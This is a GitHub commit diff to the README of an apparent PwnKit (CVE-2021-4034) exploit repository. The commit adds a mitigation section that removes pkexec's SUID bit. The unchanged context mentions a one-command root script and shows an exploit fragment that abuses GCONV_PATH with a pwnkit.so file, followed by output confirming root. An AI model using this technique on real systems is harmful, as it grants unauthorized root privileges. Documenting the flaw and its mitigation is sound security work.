Update README.md

toomanylog · Jan 29, 2022 · c26fb29 · c26fb29
1 parent 6bb8d16
commit c26fb29
Showing 1 changed file with 7 additions and 1 deletion.
diff --git a/README.md b/README.md
@@ -63,7 +63,6 @@ vagrant@ubuntu-impish:~/CVE-2021-4034$ echo $?
 
 Polkit (formerly PolicyKit) is a component for controlling system-wide privileges in Unix-like operating systems. It provides an organized way for non-privileged processes to communicate with privileged processes. It is also possible to use polkit to execute commands with elevated privileges using the command pkexec followed by the command intended to be executed (with root permission).
 
-
 # One command root
 
 You can easily exploit the system using a single script, downloadable and executable with this command:
@@ -82,3 +81,10 @@ cp /usr/bin/true GCONV_PATH=./pwnkit.so:.
 whoami
 root
 ```
+
+# Mitigation
+
+If no patches are available for your operating system, you can remove the SUID-bit from pkexec as a temporary mitigation.
+```
+chmod 0755 /usr/bin/pkexec
+```